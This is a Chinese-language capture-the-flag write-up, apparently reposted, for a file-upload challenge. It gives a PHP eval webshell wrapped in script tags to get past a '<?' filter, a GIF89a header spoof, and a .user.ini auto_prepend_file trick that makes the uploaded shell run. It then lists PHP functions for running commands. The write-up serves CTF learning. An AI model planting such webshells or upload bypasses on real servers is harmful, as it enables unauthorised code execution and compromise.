先打开题目，发现是一道文件上传的题

 

先随便上传一个一句话木马试试水

 

 回显

 

 文件名不能是php,随后试试将文件名改成1.php.jpg

回显结果

 

 

 发现<?会被过滤掉

看来对文件的内容进行了检查，不过没关系，这个内容检查可以绕，写一个简单的script脚本，用 php 解析脚本内容

<script language='php'>eval($_POST['cmd'])</script>

回显结果发现对文件头也有检查

 查了一下响应中的server，之前没看过这个服务，一查才知道，这个服务原来也是基于 NGINX 的。

那就试试上传.user.ini文件

# .xxxx.ini　文件是配置当前目录以及当前子目录的规则配置的文件，文件的中的配置会覆盖掉当前php.ini中的规则，是当前用户的配置文件
# 除了主 php.ini 之外，PHP 还会在每个目录下扫描 INI 文件，从被执行的 PHP 文件所在目录开始一直上升到 web 根目录（$_SERVER['DOCUMENT_ROOT'] 所指定的）。如果被执行的 PHP 文件在 web 根目录之外，则只扫描该目录。
# 如果是 Apache 服务器，则可以利用 .htaccess 文件，作用和 .INI 一样，只是风格上有些不一样
# 上传 .user.ini 文件内容
GIF89a            # 绕过文件头检查（单独一行，否则规则会被错误识别）
# 二选一 就可以
auto_prepend_file=文件名        在页面顶部预加载文件
auto_append_file=文件名        在页面的底部预加载文件

GIF89a图片头文件欺骗

 

 接着上传 getshell.gif 文件

 

 

 

 列出指定路径中的文件和目录

获取flag内容

 

# 代码 <script language="php">eval($_GET[cmd]);</script>  

# eval()    eval — 把字符串作为PHP代码执行;因此 eval 本身是没有命令执行的功能，只能执行php中的函数和代码。

#注意：
# eval() 函数不能执行含有 “<?php ?>” 开始/结束标签的代码， 除此之外，传入的必须是有效的 PHP 代码。所有的语句必须以分号结尾。

# php 文件系统常用函数
scandir — 列出指定路径中的文件和目录
getcwd — 取得当前工作目录
chdir — 改变目录

# php 命令执行函数
system — 执行外部程序，并且显示输出
exec — 执行一个外部程序
passthru — 执行外部程序并且显示原始输出

注意.user.ini文件过几分钟就会更新消失

第二种方法，可以用wenshell工具进行连接

有关于user.ini文件构成后门木马的知识：

https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html

 

 

 

原文地址：http://www.cnblogs.com/mu-yi2/p/16796435.html

1. 本站所有资源来源于用户上传和网络，如有侵权请邮件联系站长！ 2. 分享目的仅供大家学习和交流，请务用于商业用途! 3. 如果你也有好源码或者教程，可以到用户中心发布，分享有积分奖励和额外收入！ 4. 本站提供的源码、模板、插件等等其他资源，都不包含技术服务请大家谅解！ 5. 如有链接无法下载、失效或广告，请联系管理员处理！ 6. 本站资源售价只是赞助，收取费用仅维持本站的日常运营所需！ 7. 如遇到加密压缩包，默认解压密码为"gltf",如遇到无法解压的请联系管理员！ 8. 因为资源和程序源码均为可复制品，所以不支持任何理由的退款兑现，请斟酌后支付下载 声明：如果标题没有注明"已测试"或者"测试可用"等字样的资源源码均未经过站长测试.特别注意没有标注的源码不保证任何可用性